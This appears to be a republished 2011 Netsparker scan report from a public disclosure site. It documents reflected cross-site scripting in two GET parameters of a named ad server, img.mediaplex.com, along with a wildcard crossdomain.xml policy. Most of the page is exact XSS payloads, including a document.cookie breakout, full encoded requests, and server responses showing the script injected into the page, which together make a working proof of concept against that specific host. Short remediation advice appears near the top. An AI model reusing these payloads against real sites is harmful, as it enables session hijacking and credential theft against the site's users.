img.mediaplex.com, XSS, DORK, GHDB REPORT SUMMARY
Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Private Reporting of Security Research is preferred for Online Service Providers
Loading
Netsparker - Scan Report Summary
TARGET URL
http://img.mediaplex.com/content/0/12309/1254...
SCAN DATE
4/27/2011 9:48:39 AM
REPORT DATE
4/27/2011 9:52:08 AM
SCAN DURATION
00:00:13
Total Requests
Average Speed
req/sec.
3
identified
3
confirmed
0
critical
0
informational
GHDB DORK Tests
Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /content/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.html
Parameters
Parameter
Type
Value
mpck
GET
'"--></style></script><script>alert(0x00006E)</script>
mpt
GET
2988130
mpvc
GET
http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?
Request
GET /content/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.html?mpck='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00006E)%3C/script%3E&mpt=2988130&mpvc=http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=? HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: img.mediaplex.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Wed, 27 Apr 2011 14:48:37 GMT Server: Apache Last-Modified: Mon, 11 Apr 2011 22:17:40 GMT ETag: "3cc9f5-1212-4a0abf1988900" Accept-Ranges: bytes Content-Length: 6617 Content-Type: text/html; charset=ISO-8859-1 <html> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <noscript><a href="http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?http://'"--></style></script><script>netsparker(0x00006E)</script>" target="_blank"><img src="http://img-cdn.mediaplex.com/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.jpg" width="728" height="90" border="0"></a></noscript> <script type="text/javascript"> <!-- var mojopro2 = window.location.protocol; if (mojopro2 == "https:") { mojosrc = "https://secure.img-cdn.mediaplex.com/0/documentwrite.js"; } else { mojosrc = "http://img-cdn.mediaplex.com/0/documentwrite.js"; }; var jssrc = '<scr' + 'ipt type="text/javascript" src="' + mojosrc + '"></scr' + 'ipt>'; if( window.DocumentWrite ){ DocumentWrite( jssrc ); } else { document.write( jssrc ); }; //--> </script> <script type="text/javascript"> <!-- (function(){ var mojopro = window.location.protocol; if (mojopro == "https:") { mojopro = "https://secure.img-cdn.mediaplex.com/0/"; } else { mojopro = "http://img-cdn.mediaplex.com/0/"; }; var mpvce = '<mpvce/>'; if (mpvce == 1) { mpvclick = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?"); mpvc = mpvclick; } else if (mpvce == 2) { mpvclick2 = encodeURIComponent("http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?"); mpvc = encodeURIComponent(mpvclick2); } else { mpvc = ("http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?"); }; var mpcke = '<mpcke/>'; if (mpcke == 1) { mpcclick = encodeURIComponent("'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00006E)%3C/script%3E"); mpck = "http://" + mpcclick; } else if (mpcke == 2) { mpcclick2 = encodeURIComponent("'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00006E)%3C/script%3E"); mpck = "http://" + encodeURIComponent(mpcclick2); } else { mpck = ("http://'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00006E)%3C/script%3E"); }; var mp_swver = 0, mp_html = ""; if( navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin ) { if( navigator.plugins && navigator.plugins["Shockwave Flash"] ) { mp_swver = (navigator.plugins["Shockwave Flash"].description.split( " " ))[2]; } } else if ( navigator.userAgent && navigator.userAgent.indexOf("MSIE") >= 0 && ( navigator.userAgent.indexOf("Windows") >= 0 ) ) { var mp_axo,e; for( var mp_i = 11; mp_i > 6; mp_i-- ) { try { mp_axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash." + mp_i ); mp_swver = mp_i; break; } catch (e) {} } } if( mp_swver >= 6 ) { mp_html = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" '; mp_html += ' codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" id="7361361" name="movie7361361" width="728" height="90">'; if( mp_swver > 5 ) { mp_html += '<param name="FlashVars" value="clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck + '&clickTag1=' + mpvc + mpck + '">'; mp_html += '<param name="movie" value="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf">'; mp_html += '<param name="wmode" value="opaque">'; mp_html += '<param name="allowscriptaccess" value="always">'; } else { mp_html += '<param name="movie" value="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf?clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck + '&clickTag1=' + mpvc + mpck + '">'; mp_html += '<param name="wmode" value="opaque">'; mp_html += '<param name="allowscriptaccess" value="always">'; } if( mp_swver > 5 ) { mp_html += '<embed wmode="opaque" allowscriptaccess="always" name="12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b." src="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf" FlashVars="clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck +'&clickTag1=' + mpvc + mpck + '"'; } else { mp_html += '<embed wmode="opaque" allowscriptaccess="always" NAME="12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b." src="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf?clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck +'&clickTag1=' + mpvc + mpck + '"'; } mp_html += ' swLiveConnect="false" width="728" height="90" type="application/x-shockwave-flash" pluginspage="">'; mp_html += '</embed>'; mp_html += '</object>'; if( window.DocumentWrite ) DocumentWrite( mp_html ); else document.write( mp_html ); } else if( !( navigator.appName && navigator.appName.indexOf("Netscape") >= 0 && navigator.appVersion.indexOf("2.") >= 0 ) ) { document.write('<a href="http://ad.doubleclick.net/click;h=v8/3af6/3/0/*/j;238363494;0-0;0;16777209;3454-728/90;41258498/41276285/1;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;~okv=;net=ns;u=,ns-47950800_1303907348,11f8f328940989e,none,dx.16;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=892417;contx=none;dc=w;btg=dx.16;~aopt=2/1/3e/1;~sscs=?http://'"--></style></script><script>netsparker(0x00006E)</script>" target="_blank"><img src="http://img-cdn.mediaplex.com/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.jpg" width="728" height="90" border="0" alt=""></a>'); } })(); //--> </script> </body> </html>
- /content/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.html
Parameters
Parameter
Type
Value
mpck
GET
altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08"-alert(document.cookie)-"b4a3ce04448
mpt
GET
2988130
mpvc
GET
'"--></style></script><script>alert(0x00007E)</script>
Request
GET /content/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.html?mpck=altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08%22-alert(document.cookie)-%22b4a3ce04448&mpt=2988130&mpvc='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00007E)%3C/script%3E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: img.mediaplex.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Wed, 27 Apr 2011 14:48:39 GMT Server: Apache Last-Modified: Mon, 11 Apr 2011 22:17:40 GMT ETag: "3cc9f5-1212-4a0abf1988900" Accept-Ranges: bytes Content-Length: 5389 Content-Type: text/html; charset=ISO-8859-1 <html> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <noscript><a href="'"--></style></script><script>netsparker(0x00007E)</script>http://altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08"-alert(document.cookie)-"b4a3ce04448" target="_blank"><img src="http://img-cdn.mediaplex.com/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.jpg" width="728" height="90" border="0"></a></noscript> <script type="text/javascript"> <!-- var mojopro2 = window.location.protocol; if (mojopro2 == "https:") { mojosrc = "https://secure.img-cdn.mediaplex.com/0/documentwrite.js"; } else { mojosrc = "http://img-cdn.mediaplex.com/0/documentwrite.js"; }; var jssrc = '<scr' + 'ipt type="text/javascript" src="' + mojosrc + '"></scr' + 'ipt>'; if( window.DocumentWrite ){ DocumentWrite( jssrc ); } else { document.write( jssrc ); }; //--> </script> <script type="text/javascript"> <!-- (function(){ var mojopro = window.location.protocol; if (mojopro == "https:") { mojopro = "https://secure.img-cdn.mediaplex.com/0/"; } else { mojopro = "http://img-cdn.mediaplex.com/0/"; }; var mpvce = '<mpvce/>'; if (mpvce == 1) { mpvclick = encodeURIComponent("'"--></style></script><script>netsparker(0x00007E)</script>"); mpvc = mpvclick; } else if (mpvce == 2) { mpvclick2 = encodeURIComponent("'"--></style></script><script>netsparker(0x00007E)</script>"); mpvc = encodeURIComponent(mpvclick2); } else { mpvc = ("'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00007E)%3C/script%3E"); }; var mpcke = '<mpcke/>'; if (mpcke == 1) { mpcclick = encodeURIComponent("altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08%22-alert(document.cookie)-%22b4a3ce04448"); mpck = "http://" + mpcclick; } else if (mpcke == 2) { mpcclick2 = encodeURIComponent("altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08%22-alert(document.cookie)-%22b4a3ce04448"); mpck = "http://" + encodeURIComponent(mpcclick2); } else { mpck = ("http://altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08%22-alert(document.cookie)-%22b4a3ce04448"); }; var mp_swver = 0, mp_html = ""; if( navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin ) { if( navigator.plugins && navigator.plugins["Shockwave Flash"] ) { mp_swver = (navigator.plugins["Shockwave Flash"].description.split( " " ))[2]; } } else if ( navigator.userAgent && navigator.userAgent.indexOf("MSIE") >= 0 && ( navigator.userAgent.indexOf("Windows") >= 0 ) ) { var mp_axo,e; for( var mp_i = 11; mp_i > 6; mp_i-- ) { try { mp_axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash." + mp_i ); mp_swver = mp_i; break; } catch (e) {} } } if( mp_swver >= 6 ) { mp_html = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" '; mp_html += ' codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" id="7361361" name="movie7361361" width="728" height="90">'; if( mp_swver > 5 ) { mp_html += '<param name="FlashVars" value="clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck + '&clickTag1=' + mpvc + mpck + '">'; mp_html += '<param name="movie" value="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf">'; mp_html += '<param name="wmode" value="opaque">'; mp_html += '<param name="allowscriptaccess" value="always">'; } else { mp_html += '<param name="movie" value="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf?clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck + '&clickTag1=' + mpvc + mpck + '">'; mp_html += '<param name="wmode" value="opaque">'; mp_html += '<param name="allowscriptaccess" value="always">'; } if( mp_swver > 5 ) { mp_html += '<embed wmode="opaque" allowscriptaccess="always" name="12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b." src="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf" FlashVars="clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck +'&clickTag1=' + mpvc + mpck + '"'; } else { mp_html += '<embed wmode="opaque" allowscriptaccess="always" NAME="12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b." src="' + mojopro + '12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.swf?clickTAG=' + mpvc + mpck +'&clickTag=' + mpvc + mpck +'&clickTag1=' + mpvc + mpck + '"'; } mp_html += ' swLiveConnect="false" width="728" height="90" type="application/x-shockwave-flash" pluginspage="">'; mp_html += '</embed>'; mp_html += '</object>'; if( window.DocumentWrite ) DocumentWrite( mp_html ); else document.write( mp_html ); } else if( !( navigator.appName && navigator.appName.indexOf("Netscape") >= 0 && navigator.appVersion.indexOf("2.") >= 0 ) ) { document.write('<a href="'"--></style></script><script>netsparker(0x00007E)</script>http://altfarm.mediaplex.com/ad/ck/12309-125438-21584-0?mpt=298813020e08"-alert(document.cookie)-"b4a3ce04448" target="_blank"><img src="http://img-cdn.mediaplex.com/0/12309/125438/1359472_us_smb_q1w11_lati_e_728x90_intel_dtp2b.jpg" width="728" height="90" border="0" alt=""></a>'); } })(); //--> </script> </body> </html>
<allow-access-from domain="*" />
Request
GET /crossdomain.xml HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: img.mediaplex.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Wed, 27 Apr 2011 14:48:29 GMT Server: Apache Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT ETag: "1b1f-c7-45e6d21e5d800" Accept-Ranges: bytes Content-Length: 199 Content-Type: text/x-cross-domain-policy <?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <allow-access-from domain="*" /></cross-domain-policy>